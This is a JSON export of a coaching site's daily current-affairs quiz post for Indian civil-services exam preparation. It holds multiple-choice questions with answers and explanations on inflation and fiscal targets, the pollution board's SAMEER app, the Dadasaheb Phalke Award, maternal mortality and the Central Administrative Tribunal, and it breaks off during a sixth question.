{"id":2432,"date":"2025-09-23T13:17:28","date_gmt":"2025-09-23T13:17:28","guid":{"rendered":"https:\/\/iasquest.com\/?p=2432"},"modified":"2026-02-11T18:52:28","modified_gmt":"2026-02-11T18:52:28","slug":"daily-current-affairs-23-09-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-23-09-2025\/","title":{"rendered":"Daily Current Affairs \u2013 23-09-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\"><strong>Statement I: <\/strong>When inflation is low, nominal GDP growth slows down and tax revenue collections rise at a slower pace.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\"><strong>Statement II: <\/strong>Nominal GDP is the total market value of a country&#8217;s final goods and services produced within a specific period, calculated using current prices without adjusting for inflation or deflation.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">(a) Both Statement I and Statement II are correct and Statement II explains Statement I&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(b) Both Statement I and Statement II are correct but Statement II does not explain Statement I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(c) Statement I is correct but Statement II is not correct \u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(d) Statement I is not correct but Statement II is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>Answer: (a) Both Statement I and Statement II are correct and Statement II explains Statement I<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>In NEWS:<\/strong> Why low inflation is a problem for government\u2019s finances<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>Low Inflation &amp; Government Budget Targets<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-13\">\n<li><strong>Nominal GDP is the sum of Real GDP and Inflation (price rise).<\/strong> It represents the value of goods and services produced in the economy at current prices. <strong>Hence statement 2 is correct and explains statement 1.<\/strong><\/li>\n\n\n\n<li><strong>Government finances depend on the growth of nominal GDP<\/strong>, since tax collections and fiscal calculations are made in money terms and not in terms of physical output.<\/li>\n\n\n\n<li>In <strong>August 2025<\/strong>, inflation indicators were very low:<ul><li>Consumer Price Index (CPI) inflation stood at <strong>around 2.07%<\/strong>.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Wholesale Price Index (WPI) inflation was even lower, at <strong>around 0.52%<\/strong>.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>Low Inflation is a Problem due to the following reasons:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>Revenue Shortfall:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-16\">\n<li>When inflation is low, nominal GDP growth slows down. As a result, tax revenue collections rise at a slower pace. For example, between April and July 2025, <strong>gross tax revenue increased by only about 1% year-on-year, while net tax revenue actually declined by nearly 7.5%. Hence statement 1 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>Fiscal Deficit and Debt Ratios:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-18\">\n<li>In the Union Budget for 2025-26, the government projected nominal GDP growth of <strong>about 10.1%<\/strong>. If nominal GDP turns out to be lower due to subdued inflation, the fiscal deficit-to-GDP ratio and debt-to-GDP ratio automatically worsen, even if the expenditure remains the same. The fiscal deficit target for 2025-26 is set at <strong>4.4% of GDP<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>Base Effect:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-20\">\n<li>The upward revision in the GDP estimate for 2024-25 makes the nominal growth target for 2025-26 somewhat easier to achieve in absolute terms. However, the weakness in inflation still reduces the pace of expansion in nominal GDP.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>When is Low Inflation Good vs. Bad<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-22\">\n<li><strong>Low inflation can be beneficial when it arises from productivity gains, improved supply-side efficiency, or a bumper agricultural harvest.<\/strong> In such cases, the economy enjoys both stable prices and higher real output.<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-23\">\n<li><strong>Low inflation can be harmful when it reflects weak demand, sluggish private investment, or corporate reluctance to undertake capital expenditure.<\/strong> In such scenarios, low price growth indicates economic slackness rather than efficiency.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2015)<\/strong> <br><br><strong>Q. A decrease in tax to GDP ratio of a country indicates which of the following?<\/strong> <br><br>1. Slowing economic growth rate <br>2. Less equitable distribution of national income <br><br><strong>Select the correct answer using the code given below.<\/strong> <br><br><strong>(a) 1 only<\/strong> <br>(b) 2 only <br>(c) Both 1 and 2 <br>(d) Neither1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/explained\/explained-economics\/low-inflation-problem-government-budget-targets-10256765\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/explained\/explained-economics\/low-inflation-problem-government-budget-targets-10256765\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\"><strong>2. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\">1. It is a statutory organisation constituted under the Air (Prevention and Control of Pollution) Act, 1981.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\">2. The SAMEER App 2.0 is a mobile application launched by the Central Pollution Control Board (CPCB) to provide real-time, location-based updates on the National Air Quality Index (AQI).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>Which of the above statement(s) is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\">(a) 1 Only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\">(b) 2 Only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>Answer: (b) 2 Only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>In NEWS: <\/strong>Union Environment Minister Shri Bhupender Yadav presides over 51st Foundation Day of the Central Pollution Control Board in New Delhi.<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-36\">\n<li>A <strong>technical report<\/strong> on the <strong>&#8220;Classification of Polluted River Stretches, 2025&#8221;<\/strong> was released, based on national water quality monitoring data.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>The Central Pollution Control Board:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-38\">\n<li>It is a statutory organisation, constituted under <strong>the Water (Prevention and Control of Pollution) Act, 1974. Hence statement 1 is incorrect.<\/strong><strong><\/strong><\/li>\n\n\n\n<li>CPCB was entrusted with the powers and functions under the <strong>Air (Prevention and Control of Pollution) Act, 1981.&nbsp;&nbsp;<\/strong><strong><\/strong><\/li>\n\n\n\n<li>It provides technical services to the <strong>Ministry of Environment, Forests, and Climate Change under the Environment (Protection) Act, 1986.<\/strong>&nbsp;<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\"><strong>SAMEER App 2.0<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\">The <strong>SAMEER App Version 2.0<\/strong> was launched, offering an updated user interface, improved citizen engagement, and features like <strong>personalized alerts<\/strong> and <strong>location-based services<\/strong>. The app will be available on <strong>Android<\/strong> and <strong>iOS<\/strong>. <strong>Hence statement 2 is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>Air Quality Updates<\/strong>:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-42\">\n<li>The app provides <strong>hourly updates<\/strong> on the <strong>National Air Quality Index (AQI)<\/strong>, helping users stay informed about the air quality in real time.<\/li>\n\n\n\n<li>It offers AQI data for over <strong>100 cities<\/strong> across India, ensuring that people across the country can access relevant information.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>Colour-Coded AQI Representation<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\">The cities are represented in a <strong>colour-coded format<\/strong>, making it easy for users to quickly understand the air quality. Different colours correspond to different AQI levels, indicating whether the air is <strong>safe<\/strong> or <strong>hazardous<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\"><strong>Complaint Registration &amp; Tracking<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\">The app allows users to <strong>file and track complaints<\/strong> related to various pollution sources such as:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-47\">\n<li><strong>Garbage dumping<\/strong><ul><li><strong>Road dust<\/strong><\/li><\/ul><ul><li><strong>Vehicular emissions<\/strong><\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Other local <strong>pollution issues<\/strong>.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\">This feature promotes citizen participation, empowering people to actively address pollution problems in their communities.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><strong>Improved Citizen Engagement<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\">The app fosters <strong>greater community engagement<\/strong> by providing a platform for citizens to contribute to environmental management, especially by reporting local pollution issues.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2018)<\/strong> <br><br><strong>Q. How is the National Green Tribunal (NGT) different from the Central Pollution Control Board (CPCB)?<\/strong> <br><br>1. The NGT has been established by an Act\u00a0whereas\u00a0the CPCB has been created by an executive order of the Government. <br>2. The NGT provides environmental justice and helps reduce the burden of litigation in the higher courts whereas the CPCB promotes cleanliness of streams and wells, and aims to improve the quality of air in the country. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 only <br><strong>(b) 2 only<\/strong> <br>(c) Both 1 and 2 <br>(d) Neither 1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2169483\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2169483<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\"><strong>3. Consider the following statements with respect to the \u201cDadasaheb Phalke Award\u201d:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\">1. It is India\u2019s highest award to honour for the remarkable service of the Non-Governmental organizations.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\">2. The award is presented annually by the Ministry of Social Justice and Empowerment.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>Answer: (d) Neither 1 nor 2<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\"><strong>In NEWS: <\/strong>Actor Mohanlal dedicates Dadasaheb Phalke Award to Malayalam film industry<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>The Dadasaheb Phalke Award:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-64\">\n<li>The <strong>Dadasaheb Phalke Award<\/strong> is India\u2019s <strong>highest honour in cinema<\/strong>, instituted in <strong>1969<\/strong> to commemorate the father of Indian cinema, Dhundiraj Govind Phalke. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>The award is presented <strong>annually at the National Film Awards<\/strong> ceremony, administered by the <strong>Directorate of Film Festivals<\/strong> under the Ministry of Information &amp; Broadcasting. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li>It is given to individuals for their <strong>outstanding lifetime contribution to the growth and development of Indian cinema<\/strong>.<\/li>\n\n\n\n<li>The award consists of a <strong>Swarna Kamal (Golden Lotus) medallion<\/strong>, a <strong>shawl<\/strong>, and a <strong>cash prize of \u20b910 lakh<\/strong>.<\/li>\n\n\n\n<li><strong>Devika Rani<\/strong> was the <strong>first recipient<\/strong> of the award in <strong>1969<\/strong>.<\/li>\n\n\n\n<li><strong>Mohanlal<\/strong>, the veteran Malayalam actor, was the <strong>latest recipient (2023)<\/strong> at the <strong>71st National Film Awards<\/strong>.<\/li>\n\n\n\n<li>The selection of awardees is done by a <strong>committee of eminent film industry personalities<\/strong>.<\/li>\n\n\n\n<li>Dadasaheb Phalke directed <em>Raja Harishchandra<\/em> in <strong>1913<\/strong>, regarded as the <strong>first full-length Indian feature film<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><br><strong>Q. Consider the following pairs with regard to sports awards:<\/strong> <br><br>1. Major Dhyan Chand Khel Ratna Award &#8211; For the most spectacular and outstanding performance by a sportsperson over period of last four years <br>2. Arjuna Award &#8211; For the lifetime achievement by sportsperson <br>3. Dronacharya Award &#8211; To honour eminent coaches who have successfully trained sportspersons or teams <br>4. Rashtriya Khel Protsahan Puraskar &#8211; To recognize the contribution made by sportspersons even after their retirement<br><br><strong>How many of the above pairs are correctly matched?<\/strong> <br><br>(a) Only one <br><strong>(b) Only two<\/strong> <br>(c) Only three <br>(d) All four<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/kerala\/actor-mohanlal-dedicates-dadasaheb-phalke-award-to-malayalam-film-industry\/article70076532.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/kerala\/actor-mohanlal-dedicates-dadasaheb-phalke-award-to-malayalam-film-industry\/article70076532.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\"><strong>4. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\">1. Maternal Mortality Ratio (MMR) is the number of maternal deaths per 1000 live births in a given period.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\">2. Puducherry is the first Union Territory to achieve zero maternal mortality in India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>Answer: (b) 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>In NEWS:<\/strong> Puducherry becomes first UT to achieve zero maternal mortality<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\"><strong>Maternal Mortality:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-78\">\n<li><strong>Maternal Mortality<\/strong> refers to the death of a woman during pregnancy, childbirth, or within <strong>42 days of termination of pregnancy<\/strong>, irrespective of the duration or site of the pregnancy, from causes related to or aggravated by the pregnancy or its management.<\/li>\n\n\n\n<li><strong>Maternal Mortality Ratio (MMR):<\/strong> Number of maternal deaths per <strong>100,000 live births<\/strong> in a given period. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>According to <strong>UN Sustainable Development Goal (SDG) 3.1<\/strong>, countries must reduce the <strong>global MMR to less than 70 per 100,000 live births by 2030<\/strong>.<\/li>\n\n\n\n<li>Causes globally: severe bleeding, infections, unsafe abortions, hypertensive disorders (eclampsia), and obstructed labour.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\"><strong>Maternal Mortality in India<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-80\">\n<li>As per <strong>Sample Registration System (SRS) Special Bulletin (2018\u201320)<\/strong>, India\u2019s <strong>MMR is 97 per 100,000 live births<\/strong>, showing consistent decline.<\/li>\n\n\n\n<li>India achieved the <strong>National Health Policy target of MMR &lt;100 by 2020<\/strong>.<\/li>\n\n\n\n<li><strong>Puducherry <\/strong>is the first Union Territory to achieve <strong>zero maternal mortality <\/strong>in India. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>States with <strong>lowest MMR<\/strong>: Kerala (19), Maharashtra (33), Telangana (43).<\/li>\n\n\n\n<li>States with <strong>highest MMR<\/strong>: Assam (195), Madhya Pradesh (173), Uttar Pradesh (167).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\"><strong>Government Initiatives<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-82\">\n<li><strong>Janani Suraksha Yojana (JSY):<\/strong> Cash incentive scheme under the National Health Mission to promote institutional deliveries.<\/li>\n\n\n\n<li><strong>Janani Shishu Suraksha Karyakram (JSSK):<\/strong> Free institutional delivery, free drugs, diagnostics, diet, and transport for pregnant women.<\/li>\n\n\n\n<li><strong>LaQshya Programme:<\/strong> Launched in 2017, aims at improving quality of care in labour rooms and maternity operation theatres.<\/li>\n\n\n\n<li><strong>POSHAN Abhiyaan:<\/strong> Addresses maternal and child malnutrition.<\/li>\n\n\n\n<li><strong>Pradhan Mantri Surakshit Matritva Abhiyan (PMSMA):<\/strong> Free antenatal check-ups on the 9th of every month for pregnant women.<\/li>\n\n\n\n<li><strong>Midwifery Services Initiative (2018):<\/strong> Strengthening skilled birth attendants.<\/li>\n<\/ol>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> <br><br><strong>Q. The total fertility rate in an economy is defined as:<\/strong> <br><br>(a) the number of children born per 1000 People in the Population in a year. <br>(b) the number of children born to couple in their lifetime in a given population. <br>(c) the birth rate minus death rate. <br>(d) the average number of live births a woman would have by the end of her child-bearing age.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.newindianexpress.com\/states\/tamil-nadu\/2025\/Sep\/18\/puducherry-becomes-first-ut-to-achieve-zero-maternal-mortality#:~:text=Chief%20Minister%20N%20Rangasamy%2C%20in,major%20milestone%20in%20women&#039;s%20healthcare\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.newindianexpress.com\/states\/tamil-nadu\/2025\/Sep\/18\/puducherry-becomes-first-ut-to-achieve-zero-maternal-mortality#:~:text=Chief%20Minister%20N%20Rangasamy%2C%20in,major%20milestone%20in%20women&#8217;s%20healthcare<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>5. Which of the following statements about the Central Administrative Tribunal (CAT) is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\">1. Central Administrative Tribunal (CAT) is a constitutional bodyestablished by inserting article 323A under the 42nd Amendment (1976).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\">2. It is a quasi-judicial body that adjudicates disputes related to the services of public servants.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\">3. The&nbsp;order of the Central Administrative Tribunal (CAT) cannot be challenged in any court.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\">(a) 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\">(c) 1 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\">(d) 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\"><strong>Answer: (b) 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\"><strong>In NEWS: <\/strong>10th All India Conference of Central Administrative Tribunal to be inaugurated by Chief Justice of India on 20th September at Bharat Mandapam.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>The Central Administrative Tribunal (CAT):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-97\">\n<li>The Central Administrative Tribunal (CAT) plays a crucial role in resolving disputes related to the services of public servants in India.<\/li>\n\n\n\n<li>It is a statutory body established by an act of <strong>Parliament <\/strong>under the <strong><em>Administrative Tribunals Act, 1985<\/em>,<\/strong> and empowered by <strong><em>Article 323A<\/em><\/strong> of the Constitution. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>CAT provides an alternative to the regular judicial system for service-related matters.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\"><strong>Key Points:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\"><strong>1. Constitutional Basis<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\">Article 323A was inserted by the 42nd Amendment (1976), allowing Parliament to set up administrative tribunals for resolving disputes related to public servants, both for Union and State services (with State approval). <strong>Hence statement 2 is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>2. CAT is empowered by Article 323A of the Indian Constitution<\/strong>, which was inserted by the 42nd Amendment Act of 1976. While it is <strong>empowered<\/strong> by the Constitution, it is <strong>not a &#8220;Constitutional body.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\"><strong>3. Structure<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\">CAT has its headquarters in New Delhi, with 18 additional benches across India. It has 69 members, consisting of:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-104\">\n<li><strong>35 Judicial Members<\/strong>: These must be former High Court judges.<\/li>\n\n\n\n<li><strong>34 Administrative Members<\/strong>: These members must have senior service experience, at the level of Additional Secretary or above.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\"><strong>4. Function<\/strong>:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-106\">\n<li>CAT&#8217;s primary function is to provide timely and effective justice in cases concerning Union government employees and employees of notified Public Sector Undertakings (PSUs).<\/li>\n\n\n\n<li>It adheres to principles of natural justice, maintaining a high disposal rate (92.9%).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>5. Appeals Process<\/strong>:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-108\">\n<li>If a party is dissatisfied with a CAT ruling, they can file a writ petition in a High Court under Articles 226 or 227 of the Constitution.<\/li>\n\n\n\n<li>Further appeals can be made to the Supreme Court under Article 136. <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2168512\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2168512<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\"><strong>6. The Clean Plant Programme (CPP) is India\u2019s initiative with the collaboration of which among the following?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\">(a) World Bank<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\">(b) Asian Development Bank (ADB)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\">(c) International Monetary Fund (IMF)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\">(d) Food and Agriculture Organization 